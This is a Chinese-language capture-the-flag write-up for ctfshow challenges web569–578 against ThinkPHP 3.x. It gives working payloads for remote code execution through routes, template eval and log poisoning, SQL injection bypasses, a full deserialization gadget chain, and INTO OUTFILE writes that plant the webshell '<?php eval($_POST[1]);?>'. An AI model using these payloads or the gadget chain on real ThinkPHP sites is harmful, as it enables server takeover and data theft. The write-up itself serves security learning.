web569
相关内容
路由方式
http://serverName/index.php/模块/控制器/操作
此外就是默认是不区分大小写的,由'URL_CASE_INSENSITIVE' => true,这个配置决定。 URL模式的话,默认是PATHINFO模式,即本题考察的模式。 直接访问即可:
/index.php/admin/login/ctfshowlogin
web 570
根据题目提示
就直接看官方文档 路由一块 看到了闭包函数

全局搜索 : function 之类的
在Common/Conf/config.php里面发现
可以这样
/index.php/ctfshow/system/ls
但是$a后面不能再有/了 就只能考虑回调后门
url/index.php/ctfshow/assert/assert($_POST[1])/`post: `1=system('cat /f*');web571
在home模块下的index方法中看到了可控变量n。
那我们来研究下这个show函数,为了方面我们传的参数只留下$n
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show($n);
}
然后跟进
show ->display ->fetch
可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。

所以我们直接传php代码就可以了。 payload: ?n=<?php system('cat /f*');?>
web 572
题目中提到了爆破,在thinkphp开启debug的情况下会在Runtime目录下生成log文件,文件的名称是以年_月_日.log来命名的。所以我们可以来爆破文件名

爆破得到

所以rce
/index.php?showctf=<?php system("cat /f*");?>web 573
在目标数据库中的id字段是int类型时候可以绕过intval过滤,
当传入 ?id[where]=1时候,拼接过来就是
SELECT * FROM `users` WHERE 1 LIMIT 1
所以payload
?id[where]=id=0 union select 1,group_concat(flag4s),2,3 from flags
web 574
?id=0) union select 1,group_concat(flag4s),3,4 from flags%23
web 575
非预期
就是先前$this->show($user->username); $user->username可控rce
不走if循环
<?php
namespace Home\Controller{
class IndexController{
public $id = "1";
public $username = "<?php system('cat /f*');?>";
}
}
namespace {
use Home\Controller\IndexController;
echo base64_encode(serialize(new IndexController()));
}
预期
反序列化漏洞 基本上都是从__dustruct找起
报错注入,或开启多句执行 堆叠注入
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data = array();
protected $db = null;
protected $pk;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->data[$this->pk] = array(
"table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
"where" => "1"
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 开启才能读取文件
PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
);
protected $config = array(
"debug" => 1,
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'ctfshow', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306'
);
}
}
namespace{
use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));
}
前面说到可以控制服务器去连接任意数据库,所以就可以构造MySQL恶意服务端读取客户端文件漏洞。 脚本地址https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py
修改php脚本中的ip,端口

得到目标数据库的相关内容了
web 576
LINES STARTING BY '字符串':设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。 LINES TERMINATED BY '字符串':设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
payload: ?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*
web 577
只要我们传入的?id[0]=exp就会进入 $whereStr .= $key.' '.$val[1]; 接着我们传入的id[1]=xxx就会被放到sql语句中。
payload: ?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23
web 578
?name[_content]=<?php system('cat /f*');?>